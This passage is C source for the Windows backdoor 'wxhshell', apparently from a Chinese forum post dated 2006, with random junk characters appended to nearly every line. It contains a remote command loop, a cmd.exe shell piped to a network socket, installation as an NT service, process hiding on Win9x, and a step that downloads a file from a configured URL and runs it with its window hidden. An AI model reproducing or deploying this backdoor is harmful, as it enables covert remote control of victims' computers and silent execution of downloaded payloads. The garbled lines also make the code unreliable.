    switch(cmd[0]) { _Ka6! 9  
  wC~ra:/?:7  
  // 帮助 4tb y N  
  case '?': { q0l=S+0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aN/0'V|&ym  
    break; }wh sZ  
  } =/b WS,=  
  // 安装 g;Lk 'Ky6  
  case 'i': { j$z<wR7j0  
    if(Install()) GvCB3z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 FqhSzw  
    else 1sT%g}w@|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); foOwJ}JU  
    break; x/pM.NZF1  
    } }bg_?o;X}  
  // 卸载 =Bq3O58+  
  case 'r': { RrPo89o  
    if(Uninstall()) +TQMA >@g<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k= ~5)x  
    else /s\_"p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +?!x;qS^  
    break; m<DiYxK  
    } y ;$8C  
  // 显示 wxhshell 所在路径 WjrUns  
  case 'p': { CfWtCA  
    char svExeFile[MAX_PATH]; %bp8VR sY  
    strcpy(svExeFile,"\n\r"); 7K|: 7e(  
      strcat(svExeFile,ExeFile); F{g^4  
        send(wsh,svExeFile,strlen(svExeFile),0); {4@+ 2)l  
    break; ;hsem,C h7  
    } )TmqE<[  
  // 重启 aNLkkkJg<;  
  case 'b': { >pVrY; P[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aq|R?  
    if(Boot(REBOOT)) 38[ko 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hpqM fz1  
    else { Y}/e" mp  
    closesocket(wsh); `a!:-.:v  
    ExitThread(0); !p4y@U{  
    } p..O;_U  
    break; z  DP  
    } .)zX<~,  
  // 关机 bHi0N@W!vG  
  case 'd': { oBm^RHTZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R>ak 3Y  
    if(Boot(SHUTDOWN)) !2R<T/9~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~</vz+H  
    else { y$]gmg  
    closesocket(wsh); 4a&*?=GG  
    ExitThread(0); TaZw_)4c  
    } XYOPX>$T  
    break; qJQ!e  
    } BDeX5/`U#  
  // 获取shell #s!q(Rc  
  case 's': { q Z,7q  
    CmdShell(wsh); 3y9K'  
    closesocket(wsh); 7q'_]$  
    ExitThread(0); lDQ'  
    break; Zw)*+> +FV  
  } T.fmEl  
  // 退出 FuiEy=+  
  case 'x': { Qe&K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m5G9 B-\?  
    CloseIt(wsh); TJB) ]d<  
    break; <HLe,  
    } *6-fvqCv  
  // 离开 Zewx*Y|  
  case 'q': { wQ7G_kVp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x}`]9XQ  
    closesocket(wsh); qm.30 2  
    WSACleanup(); +EmT+$>J  
    exit(1); nj (/It  
    break; ~4YLPMGKl  
        } {EoRY/]  
  } #q06K2  
  } uA} w?;  
< O5r|  
  // 提示信息 :%!}%fkxH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M<A*{@4$w&  
} _:: q S!  
  } rc*iL   
1|?8g2Vf  
  return; h"7:&=e  
} PJ=N.x f}  
N(%%bHi#V  
// shell模块句柄 ii.L]#3y  
int CmdShell(SOCKET sock) bN ,>,hj  
{ aAlES< r  
STARTUPINFO si; JH%^FF2  
ZeroMemory(&si,sizeof(si)); 8$|< `:~J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WMo   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'THcO*<  
PROCESS_INFORMATION ProcessInfo; 92@/8,[  
char cmdline[]="cmd"; JYY:~2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d$3;o&VUNI  
  return 0; wIrjWU2  
} Vr1Wr%  
$a.!X8sHB.  
// 自身启动模式 GwOn&EpY!  
int StartFromService(void) BEQ$p) h  
{ 8sDbvVh1F  
typedef struct 23lLoyN  
{ x}g5  
  DWORD ExitStatus; ECO4ut.d  
  DWORD PebBaseAddress; F/"Q0%(m  
  DWORD AffinityMask; "Ih>>|r  
  DWORD BasePriority; V)$y  
  ULONG UniqueProcessId; NZJ:@J=-  
  ULONG InheritedFromUniqueProcessId; jm-J_o;}z6  
}   PROCESS_BASIC_INFORMATION; QF  P3S(  
c]#+W@$  
PROCNTQSIP NtQueryInformationProcess; `5[$8;  
Q^&oXM'x/i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5wy1%/;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hPC t-  
Bf72 .gx{0  
  HANDLE             hProcess; 0{ZYYB&"~J  
  PROCESS_BASIC_INFORMATION pbi; BFU6?\r  
g> lJZD@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m15MA.R>  
  if(NULL == hInst ) return 0; fn%Gu s~  
u|!On  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0ssKZ9Lc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q}KNtNCpx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5E~?hWAv  
j>2Jw'l;?  
  if (!NtQueryInformationProcess) return 0; jWn!96NhlL  
Mp*S+Plp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wc}opp  
  if(!hProcess) return 0; DFgr,~  
uHBEpqC%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZP@or2No%  
Q9(J$_:  
  CloseHandle(hProcess); Qz T>h  
$Hx00 ho  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *%G$[=  
if(hProcess==NULL) return 0; U~~Y'R\ NU  
)KZ1Z$<  
HMODULE hMod; i6"/GSA  
char procName[255]; IETdL{`~  
unsigned long cbNeeded; q P<n<  
[DW}z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3)F9:Tzw1  
Cm~h\+"  
  CloseHandle(hProcess); \9U4V>p  
b#**`Y  
if(strstr(procName,"services")) return 1; // 以服务启动 ?4X8l@fR  
:$bp4+3>  
  return 0; // 注册表启动 | HkLl^  
} M*DFtp<  
x=+R0ny  
// 主模块 a,o>E4#c  
int StartWxhshell(LPSTR lpCmdLine) |4UU`J9M  
{ <@B zF0  
  SOCKET wsl; "[`.I*WNo  
BOOL val=TRUE; 'C l}IDF  
  int port=0; rAc Yt9M#  
  struct sockaddr_in door; Qfhhceb6#J  
U=?hT&w\S  
  if(wscfg.ws_autoins) Install(); UbBo#(TZ)  
GVFR^pzO  
port=atoi(lpCmdLine); )$V&Nf  
vepZod}D  
if(port<=0) port=wscfg.ws_port; .g CC$  
x^UE4$oo  
  WSADATA data; E$$pO.\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mo+ mO&B  
NDG3mCl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tMN^"sjf*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~, hPi  
  door.sin_family = AF_INET; 0D;MW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R3MbTg  
  door.sin_port = htons(port); o8!gV/oy  
QN%w\ JXS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?/mkFDN  
closesocket(wsl); V:M$-6jv  
return 1; 'Ii%/ Ob!  
} (Bta vE  
4dDDi,)U  
  if(listen(wsl,2) == INVALID_SOCKET) { !B=Oc!e=K  
closesocket(wsl); ;WQ@dC  
return 1; "J0,SFu:  
} ; Q-f6)+&  
  Wxhshell(wsl); fIrl?X']  
  WSACleanup(); aBPaC=g{HO  
yOn +Y  
return 0;  `O-LM e  
F{1;~Yg%  
}  P]bq9!{1  
9aLS%-x!+  
// 以NT服务方式启动 &G5=?ub  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  N-x~\B!  
{ {VWUK`3  
DWORD   status = 0; )I80Nq  
  DWORD   specificError = 0xfffffff; #A8d@]Ps  
Cdjh/+!f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fvajNP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !/4f/g4Ze  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Rc+H;x=f  
  serviceStatus.dwWin32ExitCode     = 0; !6eXJ#~[E  
  serviceStatus.dwServiceSpecificExitCode = 0; Luxo,Ve  
  serviceStatus.dwCheckPoint       = 0; U D9&k^  
  serviceStatus.dwWaitHint       = 0; NO4V{}?a  
xl%!7?G|$>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &9CKI/K:  
  if (hServiceStatusHandle==0) return; F+;{s(wx  
o C]tEXJ  
status = GetLastError(); c65_E<5Z  
  if (status!=NO_ERROR) S- Mh0o"  
{ xO2S|DH{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mis t,H7  
    serviceStatus.dwCheckPoint       = 0; 2#4_ /5(j*  
    serviceStatus.dwWaitHint       = 0; a8T<f/qW k  
    serviceStatus.dwWin32ExitCode     = status; Gt&x<  
    serviceStatus.dwServiceSpecificExitCode = specificError; o.tCw\M$g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\ww,S  
    return; %0]vW;Q5  
  } W)"PYC4  
^(ks^<}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VjU;[  
  serviceStatus.dwCheckPoint       = 0; =RR225  
  serviceStatus.dwWaitHint       = 0; @l9qH1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0NLoqq  
} <BIj a  
&tFVW[(  
// 处理NT服务事件,比如:启动、停止 sQ65QJtt0A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) { 7y.0_Y  
{ P5;LM9W  
switch(fdwControl) W11Wv&  
{ sIuk  
case SERVICE_CONTROL_STOP: TlEx w0i!  
  serviceStatus.dwWin32ExitCode = 0; ^'S0A=1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lm<"W_  
  serviceStatus.dwCheckPoint   = 0; |]a =He;  
  serviceStatus.dwWaitHint     = 0; @Taj++ua  
  { & z;;Bx0s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [@ ]f@Wd  
  } _A*5BAB:h(  
  return; jB]tq2i  
case SERVICE_CONTROL_PAUSE: :sRV]!Iw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W1X\!Y  
  break; G| pZ  
case SERVICE_CONTROL_CONTINUE: }$W4aG*[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `d#l o  
  break; F]~rA! g1  
case SERVICE_CONTROL_INTERROGATE: x^aqnKoJ%\  
  break; uX{n#i,~L  
}; N> R abD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MnvFmYgxA  
} ZF :e6em  
mj0{Nd  
// 标准应用程序主函数 N9r}nqCN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #n^P[Zw  
{ -bHQy:  
YmM+x=G:  
// 获取操作系统版本 VOBzB]  
OsIsNt=GetOsVer(); u7>b}+ak&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CIh@H6|  
D%v4B`4ua'  
  // 从命令行安装 !dB {E  
  if(strpbrk(lpCmdLine,"iI")) Install(); :8}QKp  
&~P5 [[Q  
  // 下载执行文件 }LS:f,1oGp  
if(wscfg.ws_downexe) { ~YHy '.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bkkhx,Oi[G  
  WinExec(wscfg.ws_filenam,SW_HIDE); |w2H5f{fR  
} vS-k0g;   
P"0S94o:5J  
if(!OsIsNt) { W=M`Bkw{  
// 如果时win9x,隐藏进程并且设置为注册表启动 <}b`2/wP  
HideProc(); %sb)U~gP  
StartWxhshell(lpCmdLine); ZdHfZ3)dB  
} _[-+%RP  
else IM&2SSmYNH  
  if(StartFromService()) 3vPb}  
  // 以服务方式启动 ; >3q@9\D  
  StartServiceCtrlDispatcher(DispatchTable); i(9=` A}  
else e&f9/rfx  
  // 普通方式启动 gB@Xi*  
  StartWxhshell(lpCmdLine); 2"lDKjj  
FjIS:9^)t5  
return 0; gK/mm\K@  
}
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只看该作者 1 发表于: 2006-10-10
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